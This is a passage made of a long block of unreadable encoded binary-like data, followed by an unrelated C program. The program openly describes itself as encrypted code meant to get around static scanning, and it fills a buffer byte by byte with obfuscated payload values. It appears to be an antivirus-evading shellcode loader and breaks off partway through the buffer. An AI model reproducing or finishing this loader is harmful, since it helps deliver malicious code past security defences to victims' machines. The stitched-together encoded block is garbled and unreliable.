zpdd{}`W!5H^AXDHjS+)_l?B`Nlz{c7${VCrj#Jg7r)hM2NM-o0u<9t|g>0r%BYZjL zb4^zb4*|V?Tv<0dTcaJp7}2xc%J~}3^eFx3hl72A)^tjaEXSLTATSQ5O0aTCK)qlv z!H*~tgQikyF7j1a?5nUOpzlfH_^ZZdljYE@)Vm#gm@kuE0{R^-jh?g6-Hr0!a!yis z#$yepbG&FY?K1)$3*xT4OVl%^#CXHNFu4d5o$*sA5FpO+@)48Ty!QZmO(rCg~5BW`<$RBSSD6_vD|pZ$IMkQ zu7-MmVnZ#m*_CARU`)~noPM&WXh`or+M|hy01hBW8-GrtYv9WmYdO}}(5>0_e<8MF ztzn#7ysngQG|k1A^mFl^&pc$Sa$Za8j*h18d3a}K-e7;*2x$^E$el zI|o}@$BsF#x4-3D{5;x>B7%s=P?NI2S?*{Cv37TKcMnwVwD7I~_I>H==$?z;SUUm0 z%W%zD(*n5iE@%O_rL|37a;4{i{uX(GC3?m0mG}s$skcMIun0023BiI8STUpD1LH*} zy!9?ouwxv_c=vX5P1AmLkLU6fa<%s18v@ zxg|G&`&Di}DB7{JisMdA8xW9yp2Egmu6?eH{nYIxc-cvu(x zSp3fTK}hWEsmXDie;Eg2MU?9Sg=xEKCvUYo&KcZF%_J+`1cc6uA9Byav0y9oaKN2_ zQ#U^3rg2OV@4g~|=EiS#&y=v-_!`$ueCi5;GyP5AT=|77$iG0UbNMn`caU6w_D)+&}wsIa6ET1(SGhuZh<~7LcO6lRK2DW*13)5b7OPd z)J`|=766vIMPw{bixcN6Y}dIOh1#G878V|O3)ndK@3XhN<4HgMO>s;l?sW@VaJfxL zMcq)9_7B`MQAOLiCNUAZ{?fiT-GWWPx=P7@uj@K_PifW0;`b(&iber_OC{&VZ-wO! z=V{Bey$aJofG-ciU7ep=@Vz|nbmCj#Tt$%4d2HWtoRs|(=SSks1E?^~=p5Y#X`EMY zhI2bblU&T7pwJPaZa8rpfu&)YM)qT4fO}iIR>uLjO2A2pLm(>~neB0W$%`PtrL~ zO?)8;etxw((b>J)oeYp2zr{UI94kd}#6xI*LgE4PW6-njgK*agXUvTsiN&DXPe8+t z^|9=F9(%`_y_XC3e(Y{dm9zKLJr2$T-3&Uz?xq2;(E&__p3u5bh{|8x#^e&{Ry$jo z@sXOev~`at-appjV;>e+?D+55IcTcv zQ60p4Ugsj}u|Z>&e{0-nPo&YQ7utH{aD|(+MaShZ_`Oo(CV`sAj*;!zc4x)Ubu z8L#2>YS%79^LP3Yr6E~C;%M9%hh9ho0cVnZN+t{J^$T5|blV7QsmtO=kR7Y{k6>}N zAuO2q13dAfy&UT)+f9b;pi_oYJ3b!qD(=iktd4EwWl@_5R9l3IV{iR|jXqgJ(Nx4% zoru+rgFkkBq3CI91>tw$@7ThM2z42MqfJu(D-4PqtZ_R=8Yj_Wg3Is7=D7=BtGDS9 zda#Qc>FK~|L&J~w<^C+*Xg%9AMZkE$J~7*%otuR?FIm+0MQA+m{W_k1*;?HfUmH8C zDDiIqI#Zv5-HTxP@w7>SJK;{(X>;?Q6OE9AXtb>J*SN_xH;uk67T+fZJs50ZrjFNW zNaAS6uSXFuz`%oT7-Muc%&j%97_cvOrwU-ZIF@a7E8E;Mw$HVqla42j;`}age%@-g za;baX<@^gz9KTfr4-j{*J6PnF#7o>6-*ih>0kG7aNjX-#XSBQN3keV-U<`xuY7h?A zA&6ku)SAFB*}0No#hEzZ>`uHIe-l;ZW6cz3=zTE=TU0EbWUdF&2VIN_ZKoJxskqbq z+>i(_d?Y~yYTWUOGdUW~XIQ%eWt^AzC{bJ_o@P+@qEc0RXVO-;5bWcv80t3@-I=ph z+^e|7oywX!CAY|DAaMbTe9&>?7r7V^GLB*3JU!7i*}-M*q#}$&u{XVQ{N}Chc;}ON zR?5X#J72UU=gUF{*DiFODbD1r@k+NE&kV5qB9O_GVG#IVgt{iXXP@KFtaA(7-LswR zIrzP{XbJ>%_SkOO3O9E(Wpv7p7g1XeBV4;@-{R(8fuVQ7@n+t-_*HkB5blVq9&~zK z$hRo&tcNk2`KS)Wtn|dZ*v&_u;5-u&@&PTRtnO2ME^vx(QPi){)F;Ce1GP8EQvc6J z$dDX)6T!K?HZ&a>e zotqR_e45R{qjK7{+vAC|P#Dc+f-8p0S77hAlON#(w(DTLo`BIMrilIs3c(Opzc(%w z5{SGb1?X&{cBF?Bxqfl56Xp8S&Q~}9g8JBI5pVl3_&C=oKqL{f4s&A__GAPw_)#3s zf*j%G$3G+h5*=W-SMl?kdEzR8+8^8nB{Wf+dv^1$J~dr>M3CCG4E@- zIe1oOSjpj3igPgsMY0#@Jxa2ZkA{n71b4I898qku%@FNWR-$I~52yJ!M8Ihhu`wsU zH^2vjZ1CwJTW8GxupH-WXi$KC9t{b=iCYD5fq<>Ig-`uXIK>bC2u|Uz>i;1kMHB8Rk1q-hUeUYQz-hfK0F?y zgP*YhW=zN#HV1uVA+Q`At^;_U99PG8;kfe(*J*}CoFc*;N-_NP8?G}Koi6OZ8ePvo zT0GzuK1Y}5P%-6BSubY0@Yk6lcy_!B>7RFZH089dStR4z zI4I#`M;k2#$#$U)RpPkxR(DoPSg%n`{3Ia-1;a6(c;HPwl=RxM62wyue;sS=&!O;W zwbmuW=?YPr)3sw8LI(%6dQC~v`L&q2|L9ohoJ2q6Ezbxxr}E$#oY9tzh##QK=^yEP z1@O^EGzkp2=E8Q)UNiv?jyTE889)q4Z*lEXoZqY_V;-yItgIONqFKOR82G~7IqP}W z8u!cw#4|omqTi#%YlRlN(>p;Na%r zDc4?q98I+sCr)8y{IjB|Qix+>)FY(8aOazd&T;4O_A#~(FAnZH&jS;^z!Uq9`htBO zFqFdx@=RwV1`ST-fP0p+Deca177YNldNs}#Gaj_#CLcmreJrMjwm3HZGTc;y$%1tJ zO0NnJ8dZ2jRN;|m71WOlnBa7NAccQqU)mS`WvtOFx?+1U{$puASjKkVZ%}`oRfH+i zP}AXk474Mw>GzV;UHjU6POp)Za4#6J-*m4%LWCFwW$dkE7+0cGs4=XXzY-F_hQAO( z;`}W!^3^8114ECv^Pd=Zhhz)X|8@>f;?95HjQZn;gZJ3>ao1j|D2iJD%%FLnp!v%v zP4xH$9~JgQyP{j%FDd`x=BNDn9t2Fg#eseFi{DuT?&R6Xkn9`{pi!ATl`L}2bQE@zj3c1a@|;ni0O;5|B{QnSvjH)tOo&p zfhiE#7jWeO+DiWZ<=Wp6RXZD~j>YvY##Xg4cW1$$m&ZCqkE!)xzIK<7DdrE)7zz8m zB<9||!6(j*rxILy^Y=KH>fi^s4rX)2uREA@-G$%m_={t%^Vj&9Oe%>#62dwAZJ{cZ zJbejkuvqUP;b){96Zttg2VjSMO&-4^(__-=x)9g=et&r?9Xphl%4tZ(F2&&zyby}r zB4nzXfFB)JlxYojwLf-Y$>RQY6BCfH-2<6^P znX=WHxNjlzhpPEFu1^(SN!+x87fzBJc-Ey7x5hxICoh$#`)Vp@1u9Q{v1~7J%5ls_ zpE#SLJN~SJZgB20w!Bm!43v-hChDF|PEClvRB2WZ?LTUOw%ywkY@zi_Y5Q@$r$ z&$%!bxaR&zS#?5rtD!Kx(JMH`*295VSHks1vf1=G2ROaJ(VJfBy2e_Slc528O`WcW z0NH4)0*%K(LvP6->IA*qNxj^WQE%iuDx_NB>+LkO{EfhYDxmrS}*m zS0|UKa(e3%U9JP=;Ho+G$?fWFSu(aURSqxSDgL5dHXTscPqKZVDVMuSt82Xu73iz> zu-9|YMunr7ILoHD`czfy#=KN9>SE}rJ_+U3hk&4``KD*c#pG@z-&JgfyFI>I)*;|5 z43s&6YyRxIoI2l`C$tb-h67-_j9$r*c4B>pX3C`?eLj0pP_*=A$rT<;i#|epy32QR}5&L;GQKx#10MVwpN?8Qw)xONVEATRRpmS)9R6 zJp&zGTpu6XlyIjmD+2=j1>RE2LHbLAuj5+i-eT8!5pL|qC-&vD%oU?0U$MsZa=DDP zzf@j^JTgtay&1k4VM$c6qIs6J*hOXAxD&NPT!nY}^s?E4(69qPE0e)`Dts3P73#M# zOh+|U+S;9c3t+sH;P8}D()Ld5;nNGq}H)&GO5d3!rSW5cnYz7{LX zqU54B!ZO;P<}&c&{xHkB3vnX;5L|5h^2oC5qKv`MBLJghS7RpA+1%5;OPI-O*}bu~ zslTV&3T(F3DLhc@sHIy$aI>!PYG~oLW+V6I9#lj#mPGBxmDt^F7hE2X6K#;V3$KCh z4qygWCly{E`1#24T1wb1-i=Q5V*{><%9paBejMdE8r*W)5)RUP5+N65C-_#F%bFU637;BFj0 zpw6{qxbzZ9>{ldsyi<_4^!+$IEKhm(II@c&&iu2Fj7A*vL>j`$XOSrckIx}PHZEcK z&+?R%evAyLCyqFI4EIaLjmy7^!(zy5TbHvYd;#a=@E@1E))_9d>5yrVu1DS)i~LJ3?&ZYuwS0?aJx8dUjd@vH)PIjJ(0a4rIsb-*<#30}_tEDjmS_G31zaPeQ}60;LCC;CV?9%GWhzBEuo% zPa;E99!L%hZ}dviw50exWVp_pA-EFHi5Tz^EKmi&-Z1djVDTn$(2eoZ*{4928DJhh zjf^_1MQM>J7qg%GfbkxIwM!g7gmd`&b2z*rz*R@4z!~NWhq!zJ4vq5kDjeulwzZLm zP6_4VI^;s@I;#)=R#jBZoo!o_ijEMvPa^r;{j*tMcCp~yNRgx%m$42M1HQ<^uf%C% z(j#>lDc&xqhC&W$H3{@hJdh@|KXBw6IPnF@hK3;qbVoeNY!f-0C&+H%p$=J;=83F? z=Up+OwgV^|v#JBerBVrvTW@}6jbBe-={tc2mg50~M0{wNh<_(QBxcb(6cJ|uNi;M} z1j30Di%|mp!UGEjDCT6P=tIL4q1RC;#)NlJg)wV>Kt}ByVTzQI_XdSvjXX&Gd$B1e zD@7j~rbrn_rU(Rh1HEcUaNWei=aAt7dyeqr83_lXN}o~~Mo*!EL6h2+hC;5V*Xi;& z$~)ZiBhaKB4?Rf4hlYvBJ0T)uLWzHX%=pdYG|>dSem5Y8wH+6nPlOmeJSk2$@vsY_ zBgguU-FSp&cOnCahfjDnc=m+2;WZFZ9)Fk~LH=80l;dHtz`T4q4x|X}X=*qnslOA@ zMjj+pPh$M+jYHsiLHM*f zaeNRZc|KfPfg4+pQMJFo;URhYJPxnQ)A1lsA=zJm!zOvU9fzIrlq0uW<>_5GaQ+v> zP*@}wjs2L&{uv-hk07a%WS^(;UaPpKY_eW$v zg+{ohKVCz{*(M(H#c5*!4)2msqRGVjd~Yrg>`_?BL_N$!CTAX*;X6Dm5vPqjY>?1) z9QMdlO+1Dm!KCTHR({!ye%VI9tY=J3<0CkE5E*58_-Apt=>!fx6{n3n(2_ z3B;9{P+uy*jXX$a^x`BjEHNa!6s|;1=JBtPL3;=X?qd*O6SJBD2nAbg^8ny+ff=X_ zi+@4@y@4y4bpUj~#3crc1{|6g4FIhX;L9itIR?5PSVI9FYgeh)I&G^9U`3cznBoE$ z5tq020{b38c_R;pkR7XU_7R>)DxTE2Kqqn8K~){$QKA@n{5dRNfLl=4cpQr5DS636 zV7UMWlw?_-L9xe?QLiU(cwV0BLbj!W#>m&U0^BriTmWA;3FHc3zR8z0A_3yk(|ODj zDBi%FL|=q&bLDXQ1&_;3(lLvhW6l&nPg&?i0H_l{ubv?7;gTQA$Z=hu9QJZj{4jca z8>gg>Q%b^QTN(&M`G%L_=`VmE@KfS11Za@}Z(NK6_h~h#X`n&P7Qybl0@v%T;sV%X z637i;dKIN&86}C!it@;xZDCxB#1s>q=eKbda{FfidQ*Tmy^Vt_ig_|nh3sxwkd%3p z*a0WxBZcgmJ&A1VQ3b?zF+r`NuNNDSguAZ-z)O({pE?YV{QZDfr~{Ga%2OUHk&`GJ z$N!l%@fm>@iY3Anu8>7z7X+|p21Nw2RfW708RF#dcr7vv%|n+0TzRsgXib<87q2CRoG@!QE19H}85St+b;z(vM&!gt;{)ksk&9_@(k z=|*E1N0MMJLf(%2H1ZqB33vv_3_17iv9^@zBC(j|*!n|9NuR`uceh68o$AJH7 zWIey3;d%-~PbX-28uVr$bK5Y+UY*LpkB=?Pe4JpuPGt^gnK{Hf1HAckrPEEo-xnyW zAAPdj=fjdteB7LetaOjRgmbVTtcT{q*#A-Fp}>7U z0O+L4@EC-jfX@F7xfXS54AiRt1=*I;$mb#JR0v$=iO39OwaAQOI!zk}z7}u}B>7Im zyOA@<&BzQ)3`RN~#5wc5$n=S0$e%~niG#On@D~AR{vI;B1q*dytk&r#!@yZ*=8ecb z$h|7-a#sxlKL|MUy~yk-pGIaksnbV?fxiIwOUQhDKY`31FA=a4{hE0u@*HIP6UQA} zkvZtlsd^Z=zW>KMR*LOvWN`h%JC@aM;}tHs*oMK96ID#MmBxPa@;v|CyrkjI{_FO6d^>crCQ_9YzvLP;zS2-rwCQ&lnU!Qj~a zGcEB+k4flkg_9IGABhSLIHLs9cx1;u6K0iq6F~K+R^ecmPvE5SH;S`C;m|^kJ%qo} zbd|!Pe>nEnpe6+fpfchx@r?t={$7+3-~+%pggX!xIMeVqn)WF=jFgW37XFf=pL9#9 z14y-$z3u$Xj*H{$XvMCvmCeMyThXEN94phag989-4zllcL%`vE3QL(VHvz~S00}=- z6vU0dpXUJ|5;~x-YCn{vDDyu9m#xiD+7CTmBlsb`Px>L-UNmu=DJD@bn?n{;)s=m| z(@Qe-w3-)Jp(yQqMo+`KAN6i@$`Ig7Amr@(OkN(7SjXJ5}z9cn!v8$r*NSm2^!Yr}H(j-!o{ zE}N%q!IulnSVz%li@)(~aWEjQe@a{Q;&QauG8s)u`aH+ZX5C4RKL2aa=NUbsi9XM# zhvDqS5**uXMwaoX0uXwwpR`TC43M;`zjls~g}rD{Y)HhPbk=@Hw;hQCnQTgBCT&xW zGAKpXIHtzNk9#&XY3M7qokjDty^i84>L0Y%yI^$Lb}rOKjU(+vOO9r*qn^DuA%;Ss zL|beggDp6rKbkFG0&QuFz=}hPpVsp+VT)mOsD@)Fr{}2t$dY>gmjznSuK*IYEA>3+ z>3R4Vbqu9Pi%~Hk$aXP&j2ak0&)T2qTT+MKVoI!zm)61or4G|s{g8+mIw|Vqjhgnf zWSYcyUPKbSxR(LsdNGM8AuPq8{fE3#QG5LcIE;6GI+=Fyq}MJAeFExC#=5mD*vf@G z*~Vic9GKak7#Ums5m(W~vFQ7u zKsgqD9}uEwj6cue&S>$c&TAKpG*LS2FW!dd!97rS2%jafjO=Mte`9GeW*Kf|ZHG2$_ZmGD6k@V#=dicQf#$Cj{2mBLS5@fMQi> za>IFoexKjN@jO97XdQZpnNB9Ij^qiXN-KX1!!T)O&Z$S^FRlDj&&rjiFzSjHbg5A+L}ixI8sI zNA*X_)bsVVTF*ZPBx+acc>?q!Ths7*-U__YV%_)* zu2kdC*z%V%sl#+u9g^{*z!_4lK-T&hKwj3pm5}W_fV^Treh3KNQjW}t^jkn)^l)^{ z^exC=h?fXz`p?N&(4%ZqZ)Vanz#KJ6&-|^4psr};tLn6sZ@Rh z@a=;Wx|A1bB^}nQ8#q7-q?7R+=czA*ue7<0`;-}pXcmJ#6R=1p})yB|az z$?ml2M0g)P*|EQizW{_1ZTfLYA#DoeEQvN97=ul#K}XuO22@ZWkhD#o0WE3MzzT#4 zPq*bagmox$fPlt1iSf?~ZTAsu@o#vMQTBSr!NIgUS<)6?LIWHv8Xp7RXwmpp&lbba zcpMr*&svB7@R?czD)(b~n#iMm~sAQDAMv0d;TDA_K`qQU^ecJcTK z_F^H%I&6wtf06jHEQxCw9^I+eZl^; zW{38lr(s%50fZ9$=Ml6o*-qo8k`*rfXBH5o|18B-G}Qw78uCc~!~XO|WZ9qc89164 zdzav+2pM}hUjslW(Z^ndW}$rOkQ}3lKKAk$e2lXY(#LX80>i98(mpm3Qg}Y5Rx8wK z+NOojAtlY`W6_uZ!9q#@QiBcG#gl6`IxIq)zJ0B>>F}}lQ$^aQl_5^@lJ-iVUeaE) z1*JC=ZBad0+u|bgrn;h@-x@*BT89;$4q4FbSWZTVX_N-3?0QzejQBbvW;9WU-|f^o zWDAJegU}z1L5Jxv=&;Yz;i{-GfKZ3n>r0J|qcL9VaFwS+Zxu>|UJ0rp{V;p~MPz_XRcPI2JoMYn z_s|-vj5_JIlLnOXW@{I^?c|T4?fkw=+x;IQ$L9=QyrA9la7V_&-BLv%EXKoT1SlB~ z=fiT*R12IXC_P#{WXzQD@JXCS6WicZp8xy?yrO7~hu`<&;pQk2K-yh+AAj17e z5$^mh$>cugl(=(*Z`5lMXMhbz^(ztXFGRRkpAz?j5$4?q7&-=d+W^z4Mf~4@9`P zM7Td0;l4k@ec+V1_eQvHk8poH!hKJK`;Di>y)(l7$_V#k5$@d)?zf#1_m&9v%@OX8 zM7Z-w+qC=Lr^J1GgnMIz`@<3LT>rx4e(03AUm4-f-zybm+2>XdMYu1Ea6f!X-1)_r z!E4c~2=~Jg?v)Yl51$hE%@OV^BHZtfaOWqrrsj{H68FXk_u2^eLlN$&2=~WNiTm0J z_nHXzgAwk3z<|xH`xj1$`>F`{B@ym-N4UQc;r`4iaj%VVuZnQLEyA7eb(?iRHSRSL z?sFpC_eZ$%H!#Iry>G+c1msgmc%^L=MtU85UKIMllP@@glOCB%96q^le#u1CPoovM z0|9^oqG2303o(`_m#1&lPcHX?93C4&iBB$%c~34JV?`5N3BTkU=}D7Mk#BlWE*}ID zvtFdiQPrUlo?M8-Cq%AdDxVOw7I;S{{e(EzvjyRIMk@B-P}>P*i)>Hydgmighl2bJ z(9xx+eY|rE$QzoDfV2l7{&zsK6zw$?ShB1@#~*Fe+3JoX-uVyVL~KgCM-yk3w%nm@ z`aWoi&-P}bO>e*xy_{j#fvafZ48tMJ$;cUo%Yk6Z!xFSRzselV?gyspC)V>&BFc_- ze;ita$)KO;>=Sv>?p%ph+PxYOv;Nxd><48VY-_rLgNBgD<{7o%CxuhJA0R2Se(oMY zX3wKM3B4zJPaggJe*R7<(xki<6*nN&N5k9~w?RyWqoNhZKD!+#M>@;h& z`c*BnIn^uJX&oNaH60%3{2{F$o9)F++Uu?!q3+u2_{*x)nD)BYJjnloeipDMLY@)4 z&X-whEFiP8JHMU(|HTSF&x~USK*xYAJ^``{ zqBS4kK9(ptJHovp!hKJKJHNC&9o#D-+|v>60}<{Io+j?;2>0>`_udHiL#K&*d4zju zgnMU%``xFBdufDwafCbDm+5ugr-^%UgnMCxdrO4-)u)MjVT5~rg!}dg_m!uKdwzs_ zBEtR32={YO6Zb@fdrpM=)(H2~)5JX|!kyvP@UiO65$=4q;&enCc4r2!MQ?|BRX2tq zi{JDm{2xWyx6yr=+>?r(*8Rj&#|7QcL&xbwYtv+i$%c~!3n zLl%GGG;x0;!u|Cyuj<+`WbwnNi96q9GVA_Ym{)aVyt??1$32s27Hh@GIpMSzPhin- z4rh?wc}G9t{vVEH)F=fF2C0~Ak$5E`GZn-ywE&Q})%YhSzB=s4G>PA7`2`IiZGEk+ zIFr8tr4^kzl+r!5q`VCfIdiLVIswsNS4o^*fLy8SB_X#1BIi7Hse1s??Ly*w0uUx& z=C4N}-vdOCTV$z!S2zijl#u@hM6XUDA;qYo?(rq$96)q5mXNhn1Cr0Z6%bR;djZk2 zjJdiib=|o*)iD0tL?~iN6BlufdjC0 z9UxC*O3=r7FChA9U6%SFAV&?Hhaz;I0OWun^Vby)briEPon_&6DE$~XvjOwD|3a1W zA-@B}wCPk%4jHys2uO{={SrWc643k>mNIa<2to2KxGw_vBp`Eu<6H2HfTRJTZlr#G z7{U1^Ap1RDnGC+I&&co8d|tl?&TF8-#vthws+Vq+1>1J_bzmQuwR(0JczCZ;;M4|W zt_EbM$BQ_%#4+@9nMoNw-;7AYp1$w0kqY*{6TWQki~iZiOrD zagx_RC^{0#O@&(6a?zSJ9@eA*j{Yr4mU<14*`UQM2}xms=WSd`3xZdBcT=ZT?Q6A5 z>Uo6+0kSolr3^n@3`nO@_j)yT?Kn@wDrYRi1 zHB|#L$K%EF4GPDn+zbePLqal{o^B4&ZZs(02prnex9MGg(0`O~z*{=tEo|KZjR8lm z!+_X=P0zcVyLu}O%AW=flV7iI0YZ8Fw)_h~dW~BAmN*7vDt{yqDUIF}KO9)N9ZJ=} zp-ug|Zv%vQKKDLF$A{diAig{g0P+SzWJ%J(ULt^)5&MgPG#U~k^8d24-Go)z+v(w+y%(% zfcSO4FM{(ZAbQ3_%KTM8Ol|xOkhP#Ad$i1^&eqo6+G>;6AAqA*D3Ww0;J2?;M!n7f zq|u|p^3{Ma`7&P(h}m+x0Vy|Xx(ATQ4agmUya76XO&e-%U5gFo_mep z*VT&s$W}FVw{&8IvJAFj%QVZa+OSkzcT;<73pV;waP0WUz4qAfn)(KWaG)r5=tJ*} z&CdD;27$Y?sXx=)EH)#=4sz?TY+&#%7r+Z#t0fTX>eONg4Lp;|7@_ul%|aS8^%vBV zP>lG>zT*1puh%@J?of;RRhg9=>(P}d0n?j7 zf?!{3FZz)TUce@HS5x1$*sZa7prfZd!(nmLj?Pws_o$8PAS&M0CJO5@{PvW);T#kQ zizR}I^v1rXj{a6(p8kO?{jGiL@b-6o9|cudp`9^diS9v!o#xhFA=FOk!UzJo1U}p1 z2AP>_TlY!@SN6g~1B{74aWz7w6Xs^|%3AgF&*wNS2w>QHd z=jjmG?=-MYJsd}T`;YBC;S9s<`;Jnh+?PbS8RyReMW>h z@$;5$*;b`!wUvt(En2w9%BVdZ8~b_&&~j?$FQy_kZdt#%0db~rQ~j0|8!{W~*KSyz zS=+E_GdX1V)0hmeyj+RtrL|I%(yv!+-muX}hOXf-9f-P3ohFk=Tk$qarGX%Y9FtKV zT*=3ajJyTguWjldK-25#t3@N-)H<-GTQ;s1Z|BRE9i51alxcZiE4+2xAOc*S3^GBf zE*)&`+v~-ie!pfJc!sg%Djs>Rg*c+{=FWadftE1XDyl7j4PGEzj_}igrzF)Nh_a%! z6Wv&r8yR?AZ@<_cS8>-&M9tMMyo#?JIl~B;EZ_o*fvq})arnHF>1ksvny<}Jr5yuV zZg4+c>}D$NbTwVm)0gQV+|j=mJxNz)7dC=r2&JtvY!aCJ65WD;bhqx7TiU979f5n& zZoxfpW%&;Egv3T`7*08cZvx%*cMNn6^tZq%Gi^P6%?urqc1O<+oVWDo^*Jq)T-Vbw z*x4$_2X($R)XJ(U@=0#emtV_?{f##`60 z{*ucx4eK{;u3Nh{v!Z_4mP<10>Nc;c-?))V5vJ|crjZI(kDyB3(T0PXz*lX7Kz+B-#BFI2XYRuMvDogB!y3MB0 z#_qkNMK9kxI;3z&BK(_52{n1ZF}tQ>o_x#)QhRXAXS0zmH=>`p3pG@Z7K`x+8A+em z-O%s+e+OGaxyah`%!5d`n%8H;HZWZ)ZLBHX8 zMXzn`>u&7?8NX!45L=4oZJrHhKwLvC?SgPdtm52==*;D?+BcC>a;QU{ zVsOc5z{%3-c{?~`3+~pwY;j*o5m2rU-Xf#~L$qwG1A)3^fE7mEWo~&*)uEs0AMDZHL<1o5Q6!tfp;r;{ zBTYz4Eq*Ig8XRR%F-%m}lt$e)UizyHoxvWr6Ty*>bDd4?{UV&2Li>%Es%zePZU4Zv znJx}rgDo@Y=Alm9iwYxLNl#oTy#%% -#include - -// The encrypted code allows us to get around static scanning - -int size = 1275; -char *buf[1275]; - -int main() { - - memset(buf, 0, size); - buf[0] = '\x371'-641; - buf[1] = '\x288'-641; - buf[2] = '\x2dc'-641; - buf[3] = '\x2d7'-641; - buf[4] = '\x351'-641; - buf[5] = '\x31a'-641; - buf[6] = '\x373'-641; - buf[7] = '\x291'-641; - buf[8] = '\x28e'-641; - buf[9] = '\x326'-641; - buf[10] = '\x380'-641; - buf[11] = '\x2ad'-641; - buf[12] = '\x2fd'-641; - buf[13] = '\x290'-641; - buf[14] = '\x28a'-641; - buf[15] = '\x2a1'-641; - buf[16] = '\x305'-641; - buf[17] = '\x2ce'-641; - buf[18] = '\x2ad'-641; - buf[19] = '\x2bd'-641; - buf[20] = '\x2cc'-641; - buf[21] = '\x339'-641; - buf[22] = '\x322'-641; - buf[23] = '\x29e'-641; - buf[24] = '\x2ee'-641; - buf[25] = '\x28d'-641; - buf[26] = '\x28e'-641; - buf[27] = '\x28b'-641; - buf[28] = '\x281'-641; - buf[29] = '\x2eb'-641; - buf[30] = '\x2fb'-641; - buf[31] = '\x2c5'-641; - buf[32] = '\x2f9'-641; - buf[33] = '\x297'-641; - buf[34] = '\x282'-641; - buf[35] = '\x348'-641; - buf[36] = '\x2b6'-641; - buf[37] = '\x2ff'-641; - buf[38] = '\x30c'-641; - buf[39] = '\x331'-641; - buf[40] = '\x304'-641; - buf[41] = '\x350'-641; - buf[42] = '\x325'-641; - buf[43] = '\x36a'-641; - buf[44] = '\x291'-641; - buf[45] = '\x2ed'-641; - buf[46] = '\x2ba'-641; - buf[47] = '\x335'-641; - buf[48] = '\x2d2'-641; - buf[49] = '\x30b'-641; - buf[50] = '\x302'-641; - buf[51] = '\x33f'-641; - buf[52] = '\x330'-641; - buf[53] = '\x2b2'-641; - buf[54] = '\x2b7'-641; - buf[55] = '\x362'-641; - buf[56] = '\x32b'-641; - buf[57] = '\x356'-641; - buf[58] = '\x30c'-641; - buf[59] = '\x37e'-641; - buf[60] = '\x2a7'-641; - buf[61] = '\x297'-641; - buf[62] = '\x2cf'-641; - buf[63] = '\x2a1'-641; - buf[64] = '\x313'-641; - buf[65] = '\x336'-641; - buf[66] = '\x334'-641; - buf[67] = '\x347'-641; - buf[68] = '\x312'-641; - buf[69] = '\x337'-641; - buf[70] = '\x36a'-641; - buf[71] = '\x29d'-641; - buf[72] = '\x350'-641; - buf[73] = '\x2ea'-641; - buf[74] = '\x32e'-641; - buf[75] = '\x28d'-641; - buf[76] = '\x2b2'-641; - buf[77] = '\x317'-641; - buf[78] = '\x2f9'-641; - buf[79] = '\x2cc'-641; - buf[80] = '\x2cb'-641; - buf[81] = '\x2fc'-641; - buf[82] = '\x33b'-641; - buf[83] = '\x337'-641; - buf[84] = '\x2bf'-641; - buf[85] = '\x2eb'-641; - buf[86] = '\x288'-641; - buf[87] = '\x2ce'-641; - buf[88] = '\x379'-641; - buf[89] = '\x308'-641; - buf[90] = '\x2e8'-641; - buf[91] = '\x297'-641; - buf[92] = '\x36d'-641; - buf[93] = '\x366'-641; - buf[94] = '\x365'-641; - buf[95] = '\x351'-641; - buf[96] = '\x2da'-641; - buf[97] = '\x32e'-641; - buf[98] = '\x34b'-641; - buf[99] = '\x2e0'-641; - buf[100] = '\x2c9'-641; - buf[101] = '\x2a4'-641; - buf[102] = '\x326'-641; - buf[103] = '\x2ba'-641; - buf[104] = '\x310'-641; - buf[105] = '\x2bd'-641; - buf[106] = '\x2ac'-641; - buf[107] = '\x30f'-641; - buf[108] = '\x353'-641; - buf[109] = '\x32a'-641; - buf[110] = '\x297'-641; - buf[111] = '\x2e1'-641; - buf[112] = '\x36f'-641; - buf[113] = '\x2c4'-641; - buf[114] = '\x2a4'-641; - buf[115] = '\x31b'-641; - buf[116] = '\x341'-641; - buf[117] = '\x324'-641; - buf[118] = '\x367'-641; - buf[119] = '\x329'-641; - buf[120] = '\x2f3'-641; - buf[121] = '\x33d'-641; - buf[122] = '\x361'-641; - buf[123] = '\x2bd'-641; - buf[124] = '\x356'-641; - buf[125] = '\x325'-641; - buf[126] = '\x293'-641; - buf[127] = '\x32f'-641; - buf[128] = '\x373'-641; - buf[129] = '\x32e'-641; - buf[130] = '\x2cd'-641; - buf[131] = '\x314'-641; - buf[132] = '\x332'-641; - buf[133] = '\x306'-641; - buf[134] = '\x2e5'-641; - buf[135] = '\x290'-641; - buf[136] = '\x2b0'-641; - buf[137] = '\x285'-641; - buf[138] = '\x2f2'-641; - buf[139] = '\x2d5'-641; - buf[140] = '\x2a8'-641; - buf[141] = '\x2ea'-641; - buf[142] = '\x33c'-641; - buf[143] = '\x2b3'-641; - buf[144] = '\x375'-641; - buf[145] = '\x2a3'-641; - buf[146] = '\x316'-641; - buf[147] = '\x36f'-641; - buf[148] = '\x347'-641; - buf[149] = '\x2fd'-641; - buf[150] = '\x329'-641; - buf[151] = '\x322'-641; - buf[152] = '\x2c3'-641; - buf[153] = '\x2e9'-641; - buf[154] = '\x2e9'-641; - buf[155] = '\x324'-641; - buf[156] = '\x368'-641; - buf[157] = '\x33b'-641; - buf[158] = '\x287'-641; - buf[159] = '\x33b'-641; - buf[160] = '\x316'-641; - buf[161] = '\x313'-641; - buf[162] = '\x310'-641; - buf[163] = '\x319'-641; - buf[164] = '\x334'-641; - buf[165] = '\x2e7'-641; - buf[166] = '\x354'-641; - buf[167] = '\x347'-641; - buf[168] = '\x32b'-641; - buf[169] = '\x366'-641; - buf[170] = '\x327'-641; - buf[171] = '\x327'-641; - buf[172] = '\x315'-641; - buf[173] = '\x290'-641; - buf[174] = '\x37d'-641; - buf[175] = '\x291'-641; - buf[176] = '\x370'-641; - buf[177] = '\x2c7'-641; - buf[178] = '\x317'-641; - buf[179] = '\x2e5'-641; - buf[180] = '\x28b'-641; - buf[181] = '\x358'-641; - buf[182] = '\x296'-641; - buf[183] = '\x365'-641; - buf[184] = '\x2e1'-641; - buf[185] = '\x328'-641; - buf[186] = '\x28d'-641; - buf[187] = '\x2d0'-641; - buf[188] = '\x2e8'-641; - buf[189] = '\x2a5'-641; - buf[190] = '\x2b2'-641; - buf[191] = '\x311'-641; - buf[192] = '\x2ff'-641; - buf[193] = '\x2dd'-641; - buf[194] = '\x330'-641; - buf[195] = '\x292'-641; - buf[196] = '\x359'-641; - buf[197] = '\x348'-641; - buf[198] = '\x2de'-641; - buf[199] = '\x2e3'-641; - buf[200] = '\x351'-641; - buf[201] = '\x34d'-641; - buf[202] = '\x2ed'-641; - buf[203] = '\x2d2'-641; - buf[204] = '\x350'-641; - buf[205] = '\x36e'-641; - buf[206] = '\x300'-641; - buf[207] = 